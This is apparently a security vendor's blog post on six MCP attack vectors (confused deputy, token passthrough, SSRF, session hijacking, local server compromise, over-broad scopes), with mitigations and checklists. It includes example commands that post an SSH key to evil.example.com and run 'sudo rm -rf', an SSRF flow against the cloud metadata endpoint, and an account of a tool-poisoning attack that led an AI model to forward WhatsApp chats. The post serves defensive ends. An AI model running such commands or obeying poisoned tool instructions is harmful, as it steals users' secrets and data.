MCP Security Best Practices: 6 Attack Vectors Every Team Should Know

The MCP specification defines six critical attack vectors, from confused deputy exploits to session hijacking. Here's how each one works and what to do about it.

Key Takeaways

  • The MCP specification identifies six critical attack vectors that affect proxy servers, local clients, and remote deployments alike.
  • Token passthrough is explicitly forbidden by the spec, yet remains one of the most common anti-patterns in production.
  • Real-world exploits already exist, including the WhatsApp data exfiltration attack demonstrated by Invariant Labs in 2025.
  • Each attack vector has concrete mitigations you can implement today, from per-client consent flows to egress proxies.
  • MCP security controls map directly to SOC 2 and ISO 27001 requirements your organization likely already tracks.

Model Context Protocol (MCP) has become the standard for connecting AI assistants to external tools and data sources. Claude Code, Cursor, VS Code with Copilot, and dozens of other AI tools rely on MCP servers to access databases, APIs, file systems, and cloud services.

The security implications are significant: a compromised MCP server gives attackers access to everything the AI assistant can touch.

The MCP specification documents six attack vectors that every team adopting MCP should understand. This post breaks down each one with practical mitigations, code examples, and implementation checklists.


1. The Confused Deputy Problem

The confused deputy attack targets MCP proxy servers, servers that sit between MCP clients and third-party APIs while acting as a single OAuth client to the third-party authorization server.

How It Works

Four conditions must all be present for this attack to succeed:

  1. The MCP proxy server uses a static client ID with the third-party authorization server
  2. The proxy allows MCP clients to dynamically register (each getting their own client_id)
  3. The third-party auth server sets a consent cookie after the first authorization
  4. The proxy does not implement per-client consent before forwarding to third-party authorization

When all four conditions are met, the attack unfolds like this:

  1. A legitimate user authenticates through the MCP proxy to access the third-party API
  2. The third-party auth server sets a consent cookie for the static client ID
  3. An attacker sends the user a crafted authorization link with a malicious redirect URI and a new dynamically registered client ID
  4. The user clicks the link. The browser still has the consent cookie from the previous legitimate request
  5. The third-party auth server detects the cookie and skips the consent screen entirely
  6. The authorization code redirects to the attacker's server
  7. The attacker exchanges the stolen code for access tokens and gains API access as the compromised user

Mitigations

Per-client consent storage. The MCP proxy server MUST maintain a registry of approved client_id values per user and check this registry before initiating the third-party authorization flow.

Consent UI requirements. The consent page MUST clearly identify the requesting MCP client by name, display the specific third-party API scopes being requested, and show the registered redirect_uri. Implement CSRF protection and prevent iframing via frame-ancestors CSP directive.

Consent cookie security. If using cookies, use the __Host- prefix for cookie names, set Secure, HttpOnly, and SameSite=Lax attributes, bind them to the specific client_id (not just "user has consented"), and cryptographically sign them.

Redirect URI validation. Use exact string matching for redirect_uri validation. Never use pattern matching or wildcards.

Confused Deputy Checklist

  • Per-client consent registry implemented (server-side database or signed cookies)
  • Consent UI displays client name, scopes, and redirect URI
  • CSRF protection on consent endpoints (state parameter, CSRF tokens)
  • __Host- prefix cookies with Secure, HttpOnly, SameSite=Lax
  • Redirect URI validated with exact string matching
  • OAuth state parameter generated with cryptographically secure randomness
  • state values are single-use with short expiration (10 minutes max)
  • state tracking cookie set only AFTER user approves consent (never before)

2. The Token Passthrough Anti-Pattern

Token passthrough is an anti-pattern where an MCP server accepts tokens from an MCP client without validating that the tokens were properly issued to the MCP server, then passes them directly to a downstream API.

The MCP specification is unambiguous: this is forbidden.

Why It Matters

Security control circumvention. MCP servers implement rate limiting, request validation, and traffic monitoring that depend on token audience constraints. Token passthrough lets clients bypass all of these controls.

Broken audit trails. The MCP server cannot distinguish between clients when tokens are opaque upstream-issued tokens. Downstream logs show requests from a different source with a different identity. Incident investigation becomes unreliable.

Trust boundary violations. Downstream resource servers grant trust to specific entities with assumptions about origin and client behavior. If a token is accepted by multiple services without proper validation, compromising one service grants access to all connected services.

Future compatibility risk. Even "pure proxy" servers today may need security controls later. Proper token audience separation from the start makes the security model evolvable.

The Correct Pattern

Instead of passing client tokens through, MCP servers should obtain their own tokens for downstream APIs:

TypeScript
// WRONG: Token passthrough
async function callDownstreamAPI(clientToken: string) {
  // Never forward the client's token directly
  return fetch("https://api.example.com/data", {
    headers: { Authorization: `Bearer ${clientToken}` }
  });
}

// CORRECT: Server obtains its own token
async function callDownstreamAPI(userId: string) {
  // Exchange for a server-scoped token using token delegation (RFC 8693)
  const serverToken = await tokenExchange({
    grant_type: "urn:ietf:params:oauth:grant-type:token-exchange",
    subject_token: getUserToken(userId),
    subject_token_type: "urn:ietf:params:oauth:token-type:access_token",
    audience: "https://api.example.com",
    scope: "read:data"
  });

  return fetch("https://api.example.com/data", {
    headers: { Authorization: `Bearer ${serverToken.access_token}` }
  });
}

Token Passthrough Checklist

  • MCP server validates that all tokens were explicitly issued to it (correct audience)
  • Token delegation (RFC 8693) used for downstream API calls
  • No client tokens forwarded directly to any downstream service
  • Access tokens are short-lived (minutes, not hours)
  • Token audience matches your configured server identifier (never generic like api)
  • All token exchanges logged with correlation IDs

3. Server-Side Request Forgery (SSRF)

During OAuth metadata discovery, MCP clients fetch URLs from sources that could be controlled by a malicious MCP server. This creates SSRF opportunities.

The Attack Vector

A malicious MCP server can populate OAuth metadata fields with URLs pointing to internal resources:

Text
Client -> Malicious MCP Server: Connect
Malicious MCP Server -> Client: 401 + resource_metadata="http://169.254.169.254/..."
Client -> Cloud Metadata Service: GET http://169.254.169.254/latest/meta-data/
Cloud Metadata Service -> Client: IAM credentials, instance metadata
Client -> Malicious MCP Server: Error details containing leaked data

The attack targets three URL categories in the OAuth flow:

  1. The resource_metadata URL from the WWW-Authenticate header
  2. The authorization_servers URLs from the Protected Resource Metadata document
  3. The token_endpoint, authorization_endpoint, and other URLs from Authorization Server Metadata

A malicious server can point these at cloud metadata endpoints (169.254.169.254), internal services (192.168.1.1), or localhost (127.0.0.1:6379 to hit Redis), exfiltrating credentials and mapping internal infrastructure.

DNS Rebinding

A subtler variant uses DNS rebinding: the attacker's domain resolves to a safe IP during validation, then switches to an internal IP during the actual request. This bypasses naive IP-based checks. Pin DNS resolution results between the check and the use, and combine DNS checks with other mitigations.

Mitigations

Enforce HTTPS. Require HTTPS for all OAuth-related URLs in production. Reject http:// URLs except for loopback addresses during development.

Block private IP ranges. Following RFC 9728 Section 7.7, block: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16 (cloud metadata), fc00::/7, fe80::/10, and ::1. Do not implement IP validation manually, as attackers exploit encoding tricks (octal, hex, IPv4-mapped IPv6) that custom parsers miss.

Use egress proxies. For server-side deployments, route OAuth discovery requests through an egress proxy like Smokescreen that blocks internal destinations.

Validate redirect targets. Do not follow redirects blindly. Apply HTTPS and IP range restrictions to every redirect hop.

SSRF Checklist

  • HTTPS enforced for all OAuth metadata URLs in production
  • Private IP ranges blocked (RFC 1918, link-local, loopback)
  • Cloud metadata endpoints explicitly blocked (169.254.169.254)
  • Egress proxy configured for OAuth discovery requests
  • IP validation uses proven libraries (not custom parsing)
  • DNS results pinned between validation and request
  • Redirect following disabled or validated per hop

4. Session Hijacking

The MCP specification identifies two session hijacking variants that exploit weak session management in multi-server environments.

Variant 1: Session Hijack via Prompt Injection

In a multi-server setup:

  1. Client connects to Server A and receives a session ID
  2. Attacker obtains the session ID and sends a malicious event to Server B using that ID
  3. Server B enqueues the event into a shared queue
  4. Server A polls the queue and retrieves the malicious payload
  5. Server A sends the payload to the client as a resumed response
  6. The client acts on the malicious payload

When a server supports resumable streams, an attacker can deliberately terminate a request before receiving the response, causing it to be resumed by the original client. If a server initiates SSE as a consequence of a tool call (such as notifications/tools/list_changed), the client could end up with tools they were not aware were enabled.

Variant 2: Session Impersonation

  1. MCP client authenticates, creating a persistent session ID
  2. Attacker obtains the session ID through guessing, interception, or other means
  3. Attacker makes calls to the MCP server using the stolen session ID
  4. MCP server does not check for additional authorization and treats the attacker as the legitimate user

Mitigations

Authenticate every request. MCP servers that implement authorization MUST verify all inbound requests. Sessions are NOT authentication.

Secure session ID generation. Use cryptographically secure random number generators for session IDs. Avoid predictable or sequential identifiers. Rotate and expire session IDs regularly.

Bind sessions to user identity. Combine session ID with user-specific information derived from the authentication token:

TypeScript
// Bind session to authenticated user identity
function createSessionKey(userId: string, sessionId: string): string {
  // User ID comes from the validated auth token, not from client input
  return `${userId}:${sessionId}`;
}

// When processing requests, verify binding
function validateSession(
  authToken: DecodedToken,
  sessionId: string
): boolean {
  const expectedKey = createSessionKey(authToken.sub, sessionId);
  const storedSession = sessionStore.get(expectedKey);

  if (!storedSession) return false;
  if (storedSession.expiresAt < Date.now()) return false;

  return true;
}

Session Hijacking Checklist

  • Authorization verified on every inbound request (not just session creation)
  • Session IDs generated with cryptographically secure randomness (e.g., UUIDv4 with secure RNG)
  • Sessions bound to user identity (user_id:session_id key format)
  • User ID derived from validated auth token, never from client input
  • Session expiration and rotation implemented
  • Mcp-Session-Id treated as untrusted input
  • Session regenerated on authentication state changes

5. Local MCP Server Compromise

Local MCP servers are binaries downloaded and executed on the same machine as the MCP client. This creates a direct path to arbitrary code execution.

Real-World Example: The WhatsApp Exfiltration

In April 2025, Invariant Labs demonstrated a WhatsApp MCP vulnerability that let attackers steal message history without breaking encryption. The attack combined tool poisoning with unrestricted network access:

  1. A malicious MCP server masquerades as a benign "random fact of the day" tool
  2. The tool description is later updated to include hidden instructions that manipulate the WhatsApp MCP server running in the same agent session
  3. The AI model reads the poisoned description and follows the hidden instructions, calling list_chats() and send_message() to forward messages to the attacker's phone number
  4. Exfiltrated data is hidden off-screen using whitespace, making it invisible in interfaces that hide horizontal scrollbars

This attack required no special privileges. The MCP server simply ran with the same permissions as the AI assistant.

Attack Vectors

Bash
# Data exfiltration disguised as MCP server setup
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://evil.example.com

# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"

These commands can be embedded in MCP client configuration files and executed when the user clicks "install" on what appears to be a legitimate MCP server.

Mitigations

Pre-configuration consent. If your MCP client supports one-click server configuration, it MUST show the exact command that will be executed (without truncation), clearly identify it as code execution on the user's system, and require explicit approval.

Sandbox execution. Execute MCP server commands in sandboxed environments with minimal default privileges. Use platform-appropriate technologies: containers, chroot, application sandboxes. Restrict file system, network, and system resource access by default.

Transport restrictions. Use stdio transport for local servers to limit access to just the MCP client. If using HTTP transport, require an authorization token, bind to 127.0.0.1 only, and validate Origin headers.

Local Server Compromise Checklist

  • Startup commands shown to users in full before execution
  • Dangerous command patterns flagged (sudo, rm -rf, network operations)
  • Warnings displayed for access to sensitive directories (~/.ssh, home dir)
  • MCP servers sandboxed with minimal default privileges
  • stdio transport used for local servers (preferred over HTTP)
  • If HTTP: bound to 127.0.0.1, Origin headers validated, auth token required
  • Tool description changes trigger user notification
  • MCP server dependencies scanned for known vulnerabilities

6. Scope Minimization

The final attack vector exploits over-permissioned tokens. When an MCP server exposes every scope in scopes_supported and the client requests them all up front, a stolen token grants access to everything.

The Problem with Broad Scopes

Consider a token carrying files:*, db:*, admin:* that was granted up front because the server published every scope and the client requested them all. If that token leaks through log exposure, memory scraping, or local interception:

  • Expanded blast radius: the attacker accesses every tool and resource
  • Revocation disrupts everything: revoking one omnibus token breaks all workflows
  • Audit noise: a single broad scope masks user intent per operation
  • Privilege chaining: the attacker immediately invokes high-risk tools without elevation prompts

The Progressive Least-Privilege Model

The MCP specification recommends a progressive approach:

  1. Start minimal. Issue tokens with only baseline scopes (e.g., mcp:tools-basic) covering low-risk discovery and read operations
  2. Elevate on demand. When a privileged operation is first attempted, the server responds with a targeted WWW-Authenticate scope="..." challenge
  3. Down-scope gracefully. Servers should accept reduced-scope tokens. The auth server MAY issue a subset of requested scopes

Server guidance: emit precise scope challenges. Never return the full catalog. Log every elevation event with correlation IDs.

Client guidance: begin with only baseline scopes. Cache recent failures to avoid repeated elevation loops for denied scopes.

Common Scope Mistakes

  1. Publishing all possible scopes in scopes_supported
  2. Using wildcard or omnibus scopes (*, all, full-access)
  3. Bundling unrelated privileges to preempt future prompts
  4. Returning the entire scope catalog in every challenge
  5. Silent scope semantic changes without versioning
  6. Treating claimed scopes in the token as sufficient without server-side authorization logic

Scope Minimization Checklist

  • Tokens issued with minimal initial scope set
  • Incremental scope elevation via WWW-Authenticate challenges
  • No wildcard or omnibus scopes (*, all, full-access)
  • Server accepts reduced-scope tokens gracefully
  • Scope challenges are precise, never the full catalog
  • Elevation events logged with correlation IDs
  • Server-side authorization enforced (never trust claimed scopes alone)
  • Scope changes versioned with clear migration paths

Beyond the Spec: Practical Deployment Security

The six attack vectors above come directly from the MCP specification. In practice, securing MCP deployments also requires operational controls that the spec assumes you will implement.

Use Established Security Infrastructure

Microsoft and Google have both published guidance on securing MCP in enterprise environments. Microsoft's approach emphasizes maintaining a catalog of authorized MCP servers, requiring consent before tool invocations, and monitoring for configuration drift. Google's guidance focuses on centralizing authentication through the Google Identity Platform and feeding logs into Security Command Center.

Run Security Scanning

Tools like Invariant MCP-Scan can detect tool poisoning, cross-origin escalation, and other MCP-specific vulnerabilities in CI/CD pipelines. Google's mcp-security project provides additional analysis capabilities. These complement traditional SAST and dependency scanning.

Treat MCP Servers as High-Privilege Components

An MCP server often runs with the same privileges as the authenticated user. A compromised dependency is not a nuisance. It's an incident. Apply the same rigor you would to any component inside your trust boundary: source review, vulnerability scanning, strict secret handling, and runtime monitoring.

Map to Compliance Frameworks

If you're SOC 2 or ISO 27001 certified, MCP security controls map directly to requirements you already track:

MCP Security Domain SOC 2 Criteria ISO 27001 Controls
Confused Deputy / Auth CC6.1, CC6.2, CC6.3 A.9.2, A.9.4
Token Management CC6.1, CC6.6 A.9.4, A.13.1
SSRF Prevention CC6.6, CC6.7 A.13.1, A.14.2
Session Security CC6.1, CC7.2 A.9.1, A.9.4
Local Server Hardening CC7.1, CC8.1 A.12.1, A.12.5
Scope & Access Control CC6.1, CC6.3 A.9.2, A.9.4

Document these controls in your security policies. Auditors will increasingly ask about AI tool governance.


Getting Started: Priority Actions

This week:

  1. Inventory all MCP servers in use across your organization
  2. Audit MCP configuration files for hardcoded credentials
  3. Verify that no MCP server passes client tokens through to downstream APIs

This month:

  1. Implement per-client consent flows for any MCP proxy servers
  2. Add SSRF protections (HTTPS enforcement, private IP blocking) to MCP clients
  3. Set up logging for all MCP tool invocations

This quarter:

  1. Deploy egress proxies for OAuth metadata discovery
  2. Implement progressive scope elevation
  3. Add MCP-specific security scanning to your CI/CD pipeline

Frequently Asked Questions

The confused deputy attack exploits MCP proxy servers that use a static client ID with third-party authorization servers. When the proxy allows dynamic client registration and the third-party server uses consent cookies, an attacker can craft a malicious authorization link that skips the consent screen and redirects tokens to their server.

Token passthrough, where an MCP server forwards client tokens directly to downstream APIs, breaks audit trails, circumvents security controls, and creates trust boundary violations. The MCP specification explicitly forbids it. Use token delegation (RFC 8693) instead.

During OAuth metadata discovery, MCP clients fetch URLs provided by the MCP server. A malicious server can point these URLs at internal resources like cloud metadata endpoints (169.254.169.254), local services, or private network hosts, enabling credential theft and internal reconnaissance.

In April 2025, Invariant Labs demonstrated that a malicious MCP server could exfiltrate WhatsApp message history by poisoning tool descriptions. The hidden instructions manipulated the AI model into reading chats and forwarding messages to the attacker's phone number, all without breaking encryption.

MCP security controls map to existing compliance requirements: authentication and authorization (CC6.1-CC6.3), boundary protection (CC6.6), monitoring (CC7.x), and change management (CC8.x) for SOC 2. For ISO 27001, they map to access control (A.9), communications security (A.13), and development security (A.14).

Invariant MCP-Scan detects tool poisoning and cross-origin escalation. Google's mcp-security project provides static analysis. Enterprise solutions like Pomerium and Okta Agent Gateway add runtime enforcement with Zero Trust policies and centralized identity management.


Bastion helps SaaS companies secure their AI toolchains while meeting SOC 2 and ISO 27001 compliance requirements. Our managed compliance services include MCP security assessments, policy documentation, and audit preparation. Get started with Bastion.


Sources

Share this article

Other platforms check the box

We secure the box

Get in touch and learn why hundreds of companies trust Bastion to manage their security and fast-track their compliance.

Get Started